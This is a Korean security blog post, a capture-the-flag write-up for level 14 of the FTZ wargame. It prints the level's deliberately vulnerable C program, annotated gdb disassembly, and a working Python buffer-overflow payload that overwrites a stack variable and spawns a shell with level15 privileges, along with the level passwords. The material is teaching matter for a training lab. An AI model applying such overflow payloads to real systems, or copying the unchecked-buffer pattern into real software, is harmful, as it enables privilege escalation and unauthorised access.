Jaeseo's Information Security Story

FTZ - level14 - WriteUp 본문

Write UP/FTZ

FTZ - level14 - WriteUp

Jaeseokim 2019. 11. 25. 22:43

FTZ - level14 - WriteUp

level14:what that nigga want?

일단 hint 파일을 봅니다.

레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.
버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이
최고의 효과를 가져다줍니다.

#include <stdio.h>
#include <unistd.h>

main()
{ int crap;
  int check;
  char buf[20];
  fgets(buf,45,stdin);
  if (check==0xdeadbeef)
   {
     setreuid(3095,3095);
     system("/bin/sh");
   }
}

tmp에 소스코드를 이용하여 디버깅용 프로그램을 만듭니다.

(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x080483b8 <main+0>:    push   ebp
0x080483b9 <main+1>:    mov    ebp,esp
0x080483bb <main+3>:    sub    esp,0x38 //esp 56만큼 공간 확보
0x080483be <main+6>:    and    esp,0xfffffff0
0x080483c1 <main+9>:    mov    eax,0x0
0x080483c6 <main+14>:   sub    esp,eax
0x080483c8 <main+16>:   sub    esp,0x4 //esp 4만큼 공간 확보 총 60byte
0x080483cb <main+19>:   push   ds:0x80495d0
0x080483d1 <main+25>:   push   0x2d
0x080483d3 <main+27>:   lea    eax,[ebp-56] //eax에 ebp-56의 주소를 가져옴
0x080483d6 <main+30>:   push   eax
0x080483d7 <main+31>:   call   0x80482d8 <fgets>
0x080483dc <main+36>:   add    esp,0x10 //esp 16만큼 공간 삭제 총 44byte
0x080483df <main+39>:   cmp    DWORD PTR [ebp-16],0xdeadbeef //ebp-16와 데이터를 비교
0x080483e6 <main+46>:   jne    0x804840d <main+85>
0x080483e8 <main+48>:   sub    esp,0x8
0x080483eb <main+51>:   push   0xc17
0x080483f0 <main+56>:   push   0xc17
0x080483f5 <main+61>:   call   0x80482f8 <setreuid>
0x080483fa <main+66>:   add    esp,0x10
0x080483fd <main+69>:   sub    esp,0xc
0x08048400 <main+72>:   push   0x80484bc
0x08048405 <main+77>:   call   0x80482c8 <system>
0x0804840a <main+82>:   add    esp,0x10
0x0804840d <main+85>:   leave
0x0804840e <main+86>:   ret
End of assembler dump.

일단 fget를 하기전에 ebp-56의 주소를 eax에 가지고 오는 모습을 볼 수 있는데 이때 ebp-16와 cmp해서 비교하는 부분과 40byte 차이가 나니 아무 값이나 40byte를 채우고 0xdeadbeef를 리틀 엔디언 방식으로 작성해서 넘겨주면 된다.

[level14@ftz level14]$ (python -c 'print "\x90"*40+"\xef\xbe\xad\xde"';cat) | ./attackme
whoami
level15
my-pass

Level15 Password is "guess what".

그러면 위와 같이 level15의 권한으로 sh를 실행한 모습을 볼 수 있다.

level15:guess what

'Write UP > FTZ' 카테고리의 다른 글

FTZ - level16 - WriteUp  (0) 2019.11.26
FTZ - level15 - WriteUp  (0) 2019.11.26
FTZ - level13 - WriteUp  (2) 2019.11.19
FTZ - level12 - WriteUp  (0) 2019.11.18
FTZ - level11 - WriteUp  (0) 2019.11.15
Comments